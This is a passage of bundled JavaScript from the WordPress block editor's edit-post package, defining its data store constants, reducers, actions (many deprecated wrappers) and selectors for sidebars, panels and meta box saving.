/* harmony default export */ const back_button = (BackButton);

;// ./node_modules/@wordpress/edit-post/build-module/store/constants.js
/**
 * The identifier for the data store.
 *
 * @type {string}
 */
const STORE_NAME = 'core/edit-post';

/**
 * CSS selector string for the admin bar view post link anchor tag.
 *
 * @type {string}
 */
const VIEW_AS_LINK_SELECTOR = '#wp-admin-bar-view a';

/**
 * CSS selector string for the admin bar preview post link anchor tag.
 *
 * @type {string}
 */
const VIEW_AS_PREVIEW_LINK_SELECTOR = '#wp-admin-bar-preview a';

;// ./node_modules/@wordpress/edit-post/build-module/components/editor-initialization/listener-hooks.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * This listener hook monitors any change in permalink and updates the view
 * post link in the admin bar.
 */
const useUpdatePostLinkListener = () => {
  const {
    newPermalink
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    newPermalink: select(external_wp_editor_namespaceObject.store).getCurrentPost().link
  }), []);
  const nodeToUpdateRef = (0,external_wp_element_namespaceObject.useRef)();
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    nodeToUpdateRef.current = document.querySelector(VIEW_AS_PREVIEW_LINK_SELECTOR) || document.querySelector(VIEW_AS_LINK_SELECTOR);
  }, []);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!newPermalink || !nodeToUpdateRef.current) {
      return;
    }
    nodeToUpdateRef.current.setAttribute('href', newPermalink);
  }, [newPermalink]);
};

;// ./node_modules/@wordpress/edit-post/build-module/components/editor-initialization/index.js
/**
 * Internal dependencies
 */


/**
 * Data component used for initializing the editor and re-initializes
 * when postId changes or on unmount.
 *
 * @return {null} This is a data component so does not render any ui.
 */
function EditorInitialization() {
  useUpdatePostLinkListener();
  return null;
}

;// external ["wp","keyboardShortcuts"]
const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
;// ./node_modules/@wordpress/edit-post/build-module/store/reducer.js
/**
 * WordPress dependencies
 */


/**
 * Reducer keeping track of the meta boxes isSaving state.
 * A "true" value means the meta boxes saving request is in-flight.
 *
 *
 * @param {boolean} state  Previous state.
 * @param {Object}  action Action Object.
 *
 * @return {Object} Updated state.
 */
function isSavingMetaBoxes(state = false, action) {
  switch (action.type) {
    case 'REQUEST_META_BOX_UPDATES':
      return true;
    case 'META_BOX_UPDATES_SUCCESS':
    case 'META_BOX_UPDATES_FAILURE':
      return false;
    default:
      return state;
  }
}
function mergeMetaboxes(metaboxes = [], newMetaboxes) {
  const mergedMetaboxes = [...metaboxes];
  for (const metabox of newMetaboxes) {
    const existing = mergedMetaboxes.findIndex(box => box.id === metabox.id);
    if (existing !== -1) {
      mergedMetaboxes[existing] = metabox;
    } else {
      mergedMetaboxes.push(metabox);
    }
  }
  return mergedMetaboxes;
}

/**
 * Reducer keeping track of the meta boxes per location.
 *
 * @param {boolean} state  Previous state.
 * @param {Object}  action Action Object.
 *
 * @return {Object} Updated state.
 */
function metaBoxLocations(state = {}, action) {
  switch (action.type) {
    case 'SET_META_BOXES_PER_LOCATIONS':
      {
        const newState = {
          ...state
        };
        for (const [location, metaboxes] of Object.entries(action.metaBoxesPerLocation)) {
          newState[location] = mergeMetaboxes(newState[location], metaboxes);
        }
        return newState;
      }
  }
  return state;
}

/**
 * Reducer tracking whether meta boxes are initialized.
 *
 * @param {boolean} state
 * @param {Object}  action
 *
 * @return {boolean} Updated state.
 */
function metaBoxesInitialized(state = false, action) {
  switch (action.type) {
    case 'META_BOXES_INITIALIZED':
      return true;
  }
  return state;
}
const metaBoxes = (0,external_wp_data_namespaceObject.combineReducers)({
  isSaving: isSavingMetaBoxes,
  locations: metaBoxLocations,
  initialized: metaBoxesInitialized
});
/* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  metaBoxes
}));

;// external ["wp","apiFetch"]
const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
;// external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// ./node_modules/@wordpress/edit-post/build-module/utils/meta-boxes.js
/**
 * Function returning the current Meta Boxes DOM Node in the editor
 * whether the meta box area is opened or not.
 * If the MetaBox Area is visible returns it, and returns the original container instead.
 *
 * @param {string} location Meta Box location.
 *
 * @return {string} HTML content.
 */
const getMetaBoxContainer = location => {
  const area = document.querySelector(`.edit-post-meta-boxes-area.is-${location} .metabox-location-${location}`);
  if (area) {
    return area;
  }
  return document.querySelector('#metaboxes .metabox-location-' + location);
};

;// ./node_modules/@wordpress/edit-post/build-module/store/actions.js
/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */


const {
  interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);

/**
 * Returns an action object used in signalling that the user opened an editor sidebar.
 *
 * @param {?string} name Sidebar name to be opened.
 */
const openGeneralSidebar = name => ({
  registry
}) => {
  registry.dispatch(interfaceStore).enableComplementaryArea('core', name);
};

/**
 * Returns an action object signalling that the user closed the sidebar.
 */
const closeGeneralSidebar = () => ({
  registry
}) => registry.dispatch(interfaceStore).disableComplementaryArea('core');

/**
 * Returns an action object used in signalling that the user opened a modal.
 *
 * @deprecated since WP 6.3 use `core/interface` store's action with the same name instead.
 *
 *
 * @param {string} name A string that uniquely identifies the modal.
 *
 * @return {Object} Action object.
 */
const openModal = name => ({
  registry
}) => {
  external_wp_deprecated_default()("select( 'core/edit-post' ).openModal( name )", {
    since: '6.3',
    alternative: "select( 'core/interface').openModal( name )"
  });
  return registry.dispatch(interfaceStore).openModal(name);
};

/**
 * Returns an action object signalling that the user closed a modal.
 *
 * @deprecated since WP 6.3 use `core/interface` store's action with the same name instead.
 *
 * @return {Object} Action object.
 */
const closeModal = () => ({
  registry
}) => {
  external_wp_deprecated_default()("select( 'core/edit-post' ).closeModal()", {
    since: '6.3',
    alternative: "select( 'core/interface').closeModal()"
  });
  return registry.dispatch(interfaceStore).closeModal();
};

/**
 * Returns an action object used in signalling that the user opened the publish
 * sidebar.
 * @deprecated
 *
 * @return {Object} Action object
 */
const openPublishSidebar = () => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).openPublishSidebar", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').openPublishSidebar"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).openPublishSidebar();
};

/**
 * Returns an action object used in signalling that the user closed the
 * publish sidebar.
 * @deprecated
 *
 * @return {Object} Action object.
 */
const closePublishSidebar = () => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).closePublishSidebar", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').closePublishSidebar"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).closePublishSidebar();
};

/**
 * Returns an action object used in signalling that the user toggles the publish sidebar.
 * @deprecated
 *
 * @return {Object} Action object
 */
const togglePublishSidebar = () => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).togglePublishSidebar", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').togglePublishSidebar"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).togglePublishSidebar();
};

/**
 * Returns an action object used to enable or disable a panel in the editor.
 *
 * @deprecated
 *
 * @param {string} panelName A string that identifies the panel to enable or disable.
 *
 * @return {Object} Action object.
 */
const toggleEditorPanelEnabled = panelName => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).toggleEditorPanelEnabled", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').toggleEditorPanelEnabled"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).toggleEditorPanelEnabled(panelName);
};

/**
 * Opens a closed panel and closes an open panel.
 *
 * @deprecated
 *
 * @param {string} panelName A string that identifies the panel to open or close.
 */
const toggleEditorPanelOpened = panelName => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).toggleEditorPanelOpened", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').toggleEditorPanelOpened"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).toggleEditorPanelOpened(panelName);
};

/**
 * Returns an action object used to remove a panel from the editor.
 *
 * @deprecated
 *
 * @param {string} panelName A string that identifies the panel to remove.
 *
 * @return {Object} Action object.
 */
const removeEditorPanel = panelName => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).removeEditorPanel", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').removeEditorPanel"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).removeEditorPanel(panelName);
};

/**
 * Triggers an action used to toggle a feature flag.
 *
 * @param {string} feature Feature name.
 */
const toggleFeature = feature => ({
  registry
}) => registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core/edit-post', feature);

/**
 * Triggers an action used to switch editor mode.
 *
 * @deprecated
 *
 * @param {string} mode The editor mode.
 */
const switchEditorMode = mode => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).switchEditorMode", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').switchEditorMode"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).switchEditorMode(mode);
};

/**
 * Triggers an action object used to toggle a plugin name flag.
 *
 * @param {string} pluginName Plugin name.
 */
const togglePinnedPluginItem = pluginName => ({
  registry
}) => {
  const isPinned = registry.select(interfaceStore).isItemPinned('core', pluginName);
  registry.dispatch(interfaceStore)[isPinned ? 'unpinItem' : 'pinItem']('core', pluginName);
};

/**
 * Returns an action object used in signaling that a style should be auto-applied when a block is created.
 *
 * @deprecated
 */
function updatePreferredStyleVariations() {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).updatePreferredStyleVariations", {
    since: '6.6',
    hint: 'Preferred Style Variations are not supported anymore.'
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Update the provided block types to be visible.
 *
 * @param {string[]} blockNames Names of block types to show.
 */
const showBlockTypes = blockNames => ({
  registry
}) => {
  unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).showBlockTypes(blockNames);
};

/**
 * Update the provided block types to be hidden.
 *
 * @param {string[]} blockNames Names of block types to hide.
 */
const hideBlockTypes = blockNames => ({
  registry
}) => {
  unlock(registry.dispatch(external_wp_editor_namespaceObject.store)).hideBlockTypes(blockNames);
};

/**
 * Stores info about which Meta boxes are available in which location.
 *
 * @param {Object} metaBoxesPerLocation Meta boxes per location.
 */
function setAvailableMetaBoxesPerLocation(metaBoxesPerLocation) {
  return {
    type: 'SET_META_BOXES_PER_LOCATIONS',
    metaBoxesPerLocation
  };
}

/**
 * Update a metabox.
 */
const requestMetaBoxUpdates = () => async ({
  registry,
  select,
  dispatch
}) => {
  dispatch({
    type: 'REQUEST_META_BOX_UPDATES'
  });

  // Saves the wp_editor fields.
  if (window.tinyMCE) {
    window.tinyMCE.triggerSave();
  }

  // We gather the base form data.
  const baseFormData = new window.FormData(document.querySelector('.metabox-base-form'));
  const postId = baseFormData.get('post_ID');
  const postType = baseFormData.get('post_type');

  // Additional data needed for backward compatibility.
  // If we do not provide this data, the post will be overridden with the default values.
  // We cannot rely on getCurrentPost because right now on the editor we may be editing a pattern or a template.
  // We need to retrieve the post that the base form data is referring to.
  const post = registry.select(external_wp_coreData_namespaceObject.store).getEditedEntityRecord('postType', postType, postId);
  const additionalData = [post.comment_status ? ['comment_status', post.comment_status] : false, post.ping_status ? ['ping_status', post.ping_status] : false, post.sticky ? ['sticky', post.sticky] : false, post.author ? ['post_author', post.author] : false].filter(Boolean);

  // We gather all the metaboxes locations.
  const activeMetaBoxLocations = select.getActiveMetaBoxLocations();
  const formDataToMerge = [baseFormData, ...activeMetaBoxLocations.map(location => new window.FormData(getMetaBoxContainer(location)))];

  // Merge all form data objects into a single one.
  const formData = formDataToMerge.reduce((memo, currentFormData) => {
    for (const [key, value] of currentFormData) {
      memo.append(key, value);
    }
    return memo;
  }, new window.FormData());
  additionalData.forEach(([key, value]) => formData.append(key, value));
  try {
    // Save the metaboxes.
    await external_wp_apiFetch_default()({
      url: window._wpMetaBoxUrl,
      method: 'POST',
      body: formData,
      parse: false
    });
    dispatch.metaBoxUpdatesSuccess();
  } catch {
    dispatch.metaBoxUpdatesFailure();
  }
};

/**
 * Returns an action object used to signal a successful meta box update.
 *
 * @return {Object} Action object.
 */
function metaBoxUpdatesSuccess() {
  return {
    type: 'META_BOX_UPDATES_SUCCESS'
  };
}

/**
 * Returns an action object used to signal a failed meta box update.
 *
 * @return {Object} Action object.
 */
function metaBoxUpdatesFailure() {
  return {
    type: 'META_BOX_UPDATES_FAILURE'
  };
}

/**
 * Action that changes the width of the editing canvas.
 *
 * @deprecated
 *
 * @param {string} deviceType
 */
const __experimentalSetPreviewDeviceType = deviceType => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).__experimentalSetPreviewDeviceType", {
    since: '6.5',
    version: '6.7',
    hint: 'registry.dispatch( editorStore ).setDeviceType'
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).setDeviceType(deviceType);
};

/**
 * Returns an action object used to open/close the inserter.
 *
 * @deprecated
 *
 * @param {boolean|Object} value Whether the inserter should be opened (true) or closed (false).
 */
const setIsInserterOpened = value => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).setIsInserterOpened", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').setIsInserterOpened"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).setIsInserterOpened(value);
};

/**
 * Returns an action object used to open/close the list view.
 *
 * @deprecated
 *
 * @param {boolean} isOpen A boolean representing whether the list view should be opened or closed.
 */
const setIsListViewOpened = isOpen => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).setIsListViewOpened", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').setIsListViewOpened"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).setIsListViewOpened(isOpen);
};

/**
 * Returns an action object used to switch to template editing.
 *
 * @deprecated
 */
function setIsEditingTemplate() {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).setIsEditingTemplate", {
    since: '6.5',
    alternative: "dispatch( 'core/editor').setRenderingMode"
  });
  return {
    type: 'NOTHING'
  };
}

/**
 * Create a block based template.
 *
 * @deprecated
 */
function __unstableCreateTemplate() {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).__unstableCreateTemplate", {
    since: '6.5'
  });
  return {
    type: 'NOTHING'
  };
}
let actions_metaBoxesInitialized = false;

/**
 * Initializes WordPress `postboxes` script and the logic for saving meta boxes.
 */
const initializeMetaBoxes = () => ({
  registry,
  select,
  dispatch
}) => {
  const isEditorReady = registry.select(external_wp_editor_namespaceObject.store).__unstableIsEditorReady();
  if (!isEditorReady) {
    return;
  }
  // Only initialize once.
  if (actions_metaBoxesInitialized) {
    return;
  }
  const postType = registry.select(external_wp_editor_namespaceObject.store).getCurrentPostType();
  if (window.postboxes.page !== postType) {
    window.postboxes.add_postbox_toggles(postType);
  }
  actions_metaBoxesInitialized = true;

  // Save metaboxes on save completion, except for autosaves.
  (0,external_wp_hooks_namespaceObject.addAction)('editor.savePost', 'core/edit-post/save-metaboxes', async (post, options) => {
    if (!options.isAutosave && select.hasMetaBoxes()) {
      await dispatch.requestMetaBoxUpdates();
    }
  });
  dispatch({
    type: 'META_BOXES_INITIALIZED'
  });
};

/**
 * Action that toggles Distraction free mode.
 * Distraction free mode expects there are no sidebars, as due to the
 * z-index values set, you can't close sidebars.
 *
 * @deprecated
 */
const toggleDistractionFree = () => ({
  registry
}) => {
  external_wp_deprecated_default()("dispatch( 'core/edit-post' ).toggleDistractionFree", {
    since: '6.6',
    alternative: "dispatch( 'core/editor').toggleDistractionFree"
  });
  registry.dispatch(external_wp_editor_namespaceObject.store).toggleDistractionFree();
};

/**
 * Action that toggles the Fullscreen Mode view option.
 */
const toggleFullscreenMode = () => ({
  registry
}) => {
  const isFullscreen = registry.select(external_wp_preferences_namespaceObject.store).get('core/edit-post', 'fullscreenMode');
  registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core/edit-post', 'fullscreenMode');
  registry.dispatch(external_wp_notices_namespaceObject.store).createInfoNotice(isFullscreen ? (0,external_wp_i18n_namespaceObject.__)('Fullscreen mode deactivated.') : (0,external_wp_i18n_namespaceObject.__)('Fullscreen mode activated.'), {
    id: 'core/edit-post/toggle-fullscreen-mode/notice',
    type: 'snackbar',
    actions: [{
      label: (0,external_wp_i18n_namespaceObject.__)('Undo'),
      onClick: () => {
        registry.dispatch(external_wp_preferences_namespaceObject.store).toggle('core/edit-post', 'fullscreenMode');
      }
    }]
  });
};

;// ./node_modules/@wordpress/edit-post/build-module/store/selectors.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */

const {
  interfaceStore: selectors_interfaceStore
} = unlock(external_wp_editor_namespaceObject.privateApis);
const EMPTY_ARRAY = [];
const EMPTY_OBJECT = {};

/**
 * Returns the current editing mode.
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Editing mode.
 */
const getEditorMode = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  var _select$get;
  return (_select$get = select(external_wp_preferences_namespaceObject.store).get('core', 'editorMode')) !== null && _select$get !== void 0 ? _select$get : 'visual';
});

/**
 * Returns true if the editor sidebar is opened.
 *
 * @param {Object} state Global application state
 *
 * @return {boolean} Whether the editor sidebar is opened.
 */
const isEditorSidebarOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  const activeGeneralSidebar = select(selectors_interfaceStore).getActiveComplementaryArea('core');
  return ['edit-post/document', 'edit-post/block'].includes(activeGeneralSidebar);
});

/**
 * Returns true if the plugin sidebar is opened.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the plugin sidebar is opened.
 */
const isPluginSidebarOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  const activeGeneralSidebar = select(selectors_interfaceStore).getActiveComplementaryArea('core');
  return !!activeGeneralSidebar && !['edit-post/document', 'edit-post/block'].includes(activeGeneralSidebar);
});

/**
 * Returns the current active general sidebar name, or null if there is no
 * general sidebar active. The active general sidebar is a unique name to
 * identify either an editor or plugin sidebar.
 *
 * Examples:
 *
 *  - `edit-post/document`
 *  - `my-plugin/insert-image-sidebar`
 *
 * @param {Object} state Global application state.
 *
 * @return {?string} Active general sidebar name.
 */
const getActiveGeneralSidebarName = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  return select(selectors_interfaceStore).getActiveComplementaryArea('core');
});

/**
 * Converts panels from the new preferences store format to the old format
 * that the post editor previously used.
 *
 * The resultant converted data should look like this:
 * {
 *     panelName: {
 *         enabled: false,
 *         opened: true,
 *     },
 *     anotherPanelName: {
 *         opened: true
 *     },
 * }
 *
 * @param {string[] | undefined} inactivePanels An array of inactive panel names.
 * @param {string[] | undefined} openPanels     An array of open panel names.
 *
 * @return {Object} The converted panel data.
 */
function convertPanelsToOldFormat(inactivePanels, openPanels) {
  var _ref;
  // First reduce the inactive panels.
  const panelsWithEnabledState = inactivePanels?.reduce((accumulatedPanels, panelName) => ({
    ...accumulatedPanels,
    [panelName]: {
      enabled: false
    }
  }), {});

  // Then reduce the open panels, passing in the result of the previous
  // reduction as the initial value so that both open and inactive
  // panel state is combined.
  const panels = openPanels?.reduce((accumulatedPanels, panelName) => {
    const currentPanelState = accumulatedPanels?.[panelName];
    return {
      ...accumulatedPanels,
      [panelName]: {
        ...currentPanelState,
        opened: true
      }
    };
  }, panelsWithEnabledState !== null && panelsWithEnabledState !== void 0 ? panelsWithEnabledState : {});

  // The panels variable will only be set if openPanels wasn't `undefined`.
  // If it isn't set just return `panelsWithEnabledState`, and if that isn't
  // set return an empty object.
  return (_ref = panels !== null && panels !== void 0 ? panels : panelsWithEnabledState) !== null && _ref !== void 0 ? _ref : EMPTY_OBJECT;
}

/**
 * Returns the preferences (these preferences are persisted locally).
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} Preferences Object.
 */
const getPreferences = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).getPreferences`, {
    since: '6.0',
    alternative: `select( 'core/preferences' ).get`
  });
  const corePreferences = ['editorMode', 'hiddenBlockTypes'].reduce((accumulatedPrefs, preferenceKey) => {
    const value = select(external_wp_preferences_namespaceObject.store).get('core', preferenceKey);
    return {
      ...accumulatedPrefs,
      [preferenceKey]: value
    };
  }, {});

  // Panels were a preference, but the data structure changed when the state
  // was migrated to the preferences store. They need to be converted from
  // the new preferences store format to old format to ensure no breaking
  // changes for plugins.
  const inactivePanels = select(external_wp_preferences_namespaceObject.store).get('core', 'inactivePanels');
  const openPanels = select(external_wp_preferences_namespaceObject.store).get('core', 'openPanels');
  const panels = convertPanelsToOldFormat(inactivePanels, openPanels);
  return {
    ...corePreferences,
    panels
  };
});

/**
 *
 * @param {Object} state         Global application state.
 * @param {string} preferenceKey Preference Key.
 * @param {*}      defaultValue  Default Value.
 *
 * @return {*} Preference Value.
 */
function getPreference(state, preferenceKey, defaultValue) {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).getPreference`, {
    since: '6.0',
    alternative: `select( 'core/preferences' ).get`
  });

  // Avoid using the `getPreferences` registry selector where possible.
  const preferences = getPreferences(state);
  const value = preferences[preferenceKey];
  return value === undefined ? defaultValue : value;
}

/**
 * Returns an array of blocks that are hidden.
 *
 * @return {Array} A list of the hidden block types
 */
const getHiddenBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  var _select$get2;
  return (_select$get2 = select(external_wp_preferences_namespaceObject.store).get('core', 'hiddenBlockTypes')) !== null && _select$get2 !== void 0 ? _select$get2 : EMPTY_ARRAY;
});

/**
 * Returns true if the publish sidebar is opened.
 *
 * @deprecated
 *
 * @param {Object} state Global application state
 *
 * @return {boolean} Whether the publish sidebar is open.
 */
const isPublishSidebarOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isPublishSidebarOpened`, {
    since: '6.6',
    alternative: `select( 'core/editor' ).isPublishSidebarOpened`
  });
  return select(external_wp_editor_namespaceObject.store).isPublishSidebarOpened();
});

/**
 * Returns true if the given panel was programmatically removed, or false otherwise.
 * All panels are not removed by default.
 *
 * @deprecated
 *
 * @param {Object} state     Global application state.
 * @param {string} panelName A string that identifies the panel.
 *
 * @return {boolean} Whether or not the panel is removed.
 */
const isEditorPanelRemoved = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, panelName) => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditorPanelRemoved`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isEditorPanelRemoved`
  });
  return select(external_wp_editor_namespaceObject.store).isEditorPanelRemoved(panelName);
});

/**
 * Returns true if the given panel is enabled, or false otherwise. Panels are
 * enabled by default.
 *
 * @deprecated
 *
 * @param {Object} state     Global application state.
 * @param {string} panelName A string that identifies the panel.
 *
 * @return {boolean} Whether or not the panel is enabled.
 */
const isEditorPanelEnabled = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, panelName) => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditorPanelEnabled`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isEditorPanelEnabled`
  });
  return select(external_wp_editor_namespaceObject.store).isEditorPanelEnabled(panelName);
});

/**
 * Returns true if the given panel is open, or false otherwise. Panels are
 * closed by default.
 *
 * @deprecated
 *
 * @param {Object} state     Global application state.
 * @param {string} panelName A string that identifies the panel.
 *
 * @return {boolean} Whether or not the panel is open.
 */
const isEditorPanelOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, panelName) => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditorPanelOpened`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isEditorPanelOpened`
  });
  return select(external_wp_editor_namespaceObject.store).isEditorPanelOpened(panelName);
});

/**
 * Returns true if a modal is active, or false otherwise.
 *
 * @deprecated since WP 6.3 use `core/interface` store's selector with the same name instead.
 *
 * @param {Object} state     Global application state.
 * @param {string} modalName A string that uniquely identifies the modal.
 *
 * @return {boolean} Whether the modal is active.
 */
const isModalActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, modalName) => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isModalActive`, {
    since: '6.3',
    alternative: `select( 'core/interface' ).isModalActive`
  });
  return !!select(selectors_interfaceStore).isModalActive(modalName);
});

/**
 * Returns whether the given feature is enabled or not.
 *
 * @param {Object} state   Global application state.
 * @param {string} feature Feature slug.
 *
 * @return {boolean} Is active.
 */
const isFeatureActive = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, feature) => {
  return !!select(external_wp_preferences_namespaceObject.store).get('core/edit-post', feature);
});

/**
 * Returns true if the plugin item is pinned to the header.
 * When the value is not set it defaults to true.
 *
 * @param {Object} state      Global application state.
 * @param {string} pluginName Plugin item name.
 *
 * @return {boolean} Whether the plugin item is pinned.
 */
const isPluginItemPinned = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, pluginName) => {
  return select(selectors_interfaceStore).isItemPinned('core', pluginName);
});

/**
 * Returns an array of active meta box locations.
 *
 * @param {Object} state Post editor state.
 *
 * @return {string[]} Active meta box locations.
 */
const getActiveMetaBoxLocations = (0,external_wp_data_namespaceObject.createSelector)(state => {
  return Object.keys(state.metaBoxes.locations).filter(location => isMetaBoxLocationActive(state, location));
}, state => [state.metaBoxes.locations]);

/**
 * Returns true if a metabox location is active and visible
 *
 * @param {Object} state    Post editor state.
 * @param {string} location Meta box location to test.
 *
 * @return {boolean} Whether the meta box location is active and visible.
 */
const isMetaBoxLocationVisible = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => (state, location) => {
  return isMetaBoxLocationActive(state, location) && getMetaBoxesPerLocation(state, location)?.some(({
    id
  }) => {
    return select(external_wp_editor_namespaceObject.store).isEditorPanelEnabled(`meta-box-${id}`);
  });
});

/**
 * Returns true if there is an active meta box in the given location, or false
 * otherwise.
 *
 * @param {Object} state    Post editor state.
 * @param {string} location Meta box location to test.
 *
 * @return {boolean} Whether the meta box location is active.
 */
function isMetaBoxLocationActive(state, location) {
  const metaBoxes = getMetaBoxesPerLocation(state, location);
  return !!metaBoxes && metaBoxes.length !== 0;
}

/**
 * Returns the list of all the available meta boxes for a given location.
 *
 * @param {Object} state    Global application state.
 * @param {string} location Meta box location to test.
 *
 * @return {?Array} List of meta boxes.
 */
function getMetaBoxesPerLocation(state, location) {
  return state.metaBoxes.locations[location];
}

/**
 * Returns the list of all the available meta boxes.
 *
 * @param {Object} state Global application state.
 *
 * @return {Array} List of meta boxes.
 */
const getAllMetaBoxes = (0,external_wp_data_namespaceObject.createSelector)(state => {
  return Object.values(state.metaBoxes.locations).flat();
}, state => [state.metaBoxes.locations]);

/**
 * Returns true if the post is using Meta Boxes
 *
 * @param {Object} state Global application state
 *
 * @return {boolean} Whether there are metaboxes or not.
 */
function hasMetaBoxes(state) {
  return getActiveMetaBoxLocations(state).length > 0;
}

/**
 * Returns true if the Meta Boxes are being saved.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the metaboxes are being saved.
 */
function selectors_isSavingMetaBoxes(state) {
  return state.metaBoxes.isSaving;
}

/**
 * Returns the current editing canvas device type.
 *
 * @deprecated
 *
 * @param {Object} state Global application state.
 *
 * @return {string} Device type.
 */
const __experimentalGetPreviewDeviceType = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-site' ).__experimentalGetPreviewDeviceType`, {
    since: '6.5',
    version: '6.7',
    alternative: `select( 'core/editor' ).getDeviceType`
  });
  return select(external_wp_editor_namespaceObject.store).getDeviceType();
});

/**
 * Returns true if the inserter is opened.
 *
 * @deprecated
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the inserter is opened.
 */
const isInserterOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isInserterOpened`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isInserterOpened`
  });
  return select(external_wp_editor_namespaceObject.store).isInserterOpened();
});

/**
 * Get the insertion point for the inserter.
 *
 * @deprecated
 *
 * @param {Object} state Global application state.
 *
 * @return {Object} The root client ID, index to insert at and starting filter value.
 */
const __experimentalGetInsertionPoint = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).__experimentalGetInsertionPoint`, {
    since: '6.5',
    version: '6.7'
  });
  return unlock(select(external_wp_editor_namespaceObject.store)).getInserter();
});

/**
 * Returns true if the list view is opened.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether the list view is opened.
 */
const isListViewOpened = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isListViewOpened`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).isListViewOpened`
  });
  return select(external_wp_editor_namespaceObject.store).isListViewOpened();
});

/**
 * Returns true if the template editing mode is enabled.
 *
 * @deprecated
 */
const isEditingTemplate = (0,external_wp_data_namespaceObject.createRegistrySelector)(select => () => {
  external_wp_deprecated_default()(`select( 'core/edit-post' ).isEditingTemplate`, {
    since: '6.5',
    alternative: `select( 'core/editor' ).getRenderingMode`
  });
  return select(external_wp_editor_namespaceObject.store).getCurrentPostType() === 'wp_template';
});

/**
 * Returns true if meta boxes are initialized.
 *
 * @param {Object} state Global application state.
 *
